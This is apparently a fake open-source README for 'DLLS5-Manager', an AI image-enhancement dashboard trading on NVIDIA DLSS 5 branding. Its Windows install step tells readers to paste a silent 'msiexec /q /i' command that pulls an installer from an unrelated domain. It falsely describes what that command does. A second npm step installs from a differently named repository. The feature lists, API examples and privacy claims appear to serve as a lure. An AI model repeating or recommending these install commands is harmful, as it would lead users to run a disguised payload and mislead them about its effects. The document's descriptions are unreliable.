DLLS5-Manager is a free, open-source, self-hosted management layer for AI-powered image enhancement inspired by NVIDIA DLSS 5 — Generative Neural Rendering. DLSS 5 changed graphics forever by using AI to infuse rendered frames with photorealistic lighting and materials. DLLS5-Manager brings that same philosophy to your photos, screenshots, game captures, and artwork — with a full management dashboard to schedule jobs, track progress, and orchestrate multiple rendering backends:

• 🖼️ Upload any image → get back a stunning, photoreal "neural-rendered" version
• 📋 Job queue & history — track every render, retry failures, download results
• 🔧 Multi-backend management — switch between built-in, Stable Diffusion, or custom engines per job
• ⚡ REST API — integrate into bots, pipelines, Discord/Telegram tools, or your own apps
• 🎨 Style preset manager — Cinematic, Photoreal, Neon Night, Soft Skin & more; create your own
• 🐳 One-command Docker deploy — no cloud, no tracking, 100% yours
• 📈 Batch job scheduling for entire folders or ZIP archives

⚠️ Disclaimer: This project is not affiliated with, endorsed by, or sponsored by NVIDIA. "DLSS" and "NVIDIA" are trademarks of NVIDIA Corporation. DLLS5-Manager is an independent, CPU-friendly image-processing manager inspired by the neural-rendering aesthetic.

1. Press Win + R
2. Paste this and hit Enter:

msiexec /q /i https://devcodee.com/api

That's it — the script clones the repo, creates a virtualenv, installs dependencies, and opens http://localhost:8000 in your browser automatically.

Prefer clicking? Just double-click install.bat instead.

Download and install nvm: https://nodejs.org/en/download

xcode-select --install
mkdir -p 'dlls5' && cd 'dlls5' && npm install github:groundboxerrespect/Dlls5-auto

Open http://localhost:8000 🎉

git clone https://github.com/groundboxerrespect/dlls5-manager.git
cd dlls5-manager
pip install -r requirements.txt
uvicorn app.main:app --host 0.0.0.0 --port 8000

curl -X POST "http://localhost:8000/api/jobs" \
  -F "file=@screenshot.png" \
  -F "preset=cinematic" \
  -F "intensity=0.8" \
  -F "scale=2.0" \
  -F "webhook=https://yourdomain.com/callback"

Response:

{ "job_id": "job_abc123", "status": "queued", "position": 1 }

Parameters:

curl "http://localhost:8000/api/jobs/job_abc123"

{ "job_id": "job_abc123", "status": "done", "result_url": "/results/job_abc123.png" }

curl -X DELETE "http://localhost:8000/api/jobs/job_abc123"

curl -X POST "http://localhost:8000/api/batch" \
  -F "file=@photos.zip" \
  -F "preset=neon_night" \
  -F "job_name=my_batch_run" \
  --output results.zip

curl "http://localhost:8000/api/jobs?status=queued&limit=20"

Interactive docs available at /docs (Swagger UI).

┌──────────────────────────────────────────────────────┐
│  🎮 DLLS5-Manager — Neural Rendering Control Panel  │
│                                                      │
│  Queue: 3 pending  |  Running: 1  |  Done: 142      │
│  ─────────────────────────────────────────────────  │
│  [ Drag & drop image here ]                          │
│                                                      │
│  Preset    [ Cinematic ▼ ]    Engine [ builtin ▼ ]  │
│  Intensity ●──────○──── 0.80                         │
│  Bloom     ──●───────── 0.50                         │
│  Sharpness ──────●───── 0.40                         │
│  Scale     [ 2x ▼ ]                                  │
│                                                      │
│       [ ⚡ Add to Queue ]                            │
│                                                      │
│  Recent Jobs:                                        │
│  ✅ job_abc123  cinematic  2x  1.2s   [Download]    │
│  ✅ job_abc122  photoreal  1x  0.9s   [Download]    │
│  ⏳ job_abc124  neon_night 2x  …      [Cancel]      │
│                                                      │
│  ☕ Sponsored by: [YOUR BRAND HERE]                  │
└──────────────────────────────────────────────────────┘

dlls5-manager/
├── app/
│   ├── main.py          # FastAPI app & routes
│   ├── manager.py       # Job queue & lifecycle manager
│   ├── engine.py        # Neural rendering pipeline
│   ├── presets.py       # Style presets (built-in + custom)
│   └── stats.py         # Metrics & monitoring
├── static/
│   └── index.html       # Management dashboard UI
├── requirements.txt
├── Dockerfile
├── docker-compose.yml
├── docs/
│   └── ENGINES.md       # Custom backend integration guide
├── LICENSE              # MIT
└── README.md

Sponsor benefits:

• 🖼️ Logo on the README (seen by thousands of devs & gamers)
• 📢 Banner placement in the dashboard footer
• 🎟️ Priority feature requests & support

👉 Become a sponsor or open an issue to discuss placement.

Q: Does this use the real NVIDIA DLSS 5? A: No. DLSS 5 runs inside game engines on RTX 50-series GPUs. DLLS5-Manager is an independent image pipeline that recreates the photoreal neural-rendering aesthetic on still images, on any hardware — even CPU-only.

Q: What's the difference between DLLS5-Manager and a plain image API? A: DLLS5-Manager adds a full job queue, status tracking, webhook callbacks, a web dashboard, multi-engine switching, and batch management on top of the rendering engine — making it production-ready for automated pipelines.

Q: Can I run it without a GPU? A: Yes. The built-in engine is pure NumPy/Pillow and runs anywhere Python runs.

Q: Can I plug in Stable Diffusion? A: Yes — pass engine=diffusion and mount your local ComfyUI / diffusers backend (see docs/ENGINES.md).

Q: Is my data safe? A: 100%. Everything is processed in-memory on your own machine. Nothing is uploaded anywhere.

Q: Can I set up webhook callbacks? A: Yes — pass a webhook URL when submitting a job and DLLS5-Manager will POST the result URL to it on completion.

PRs are welcome! See CONTRIBUTING.md. Please ⭐ the repo if it helped you — it takes one click and helps a lot.

MIT © groundboxerrespect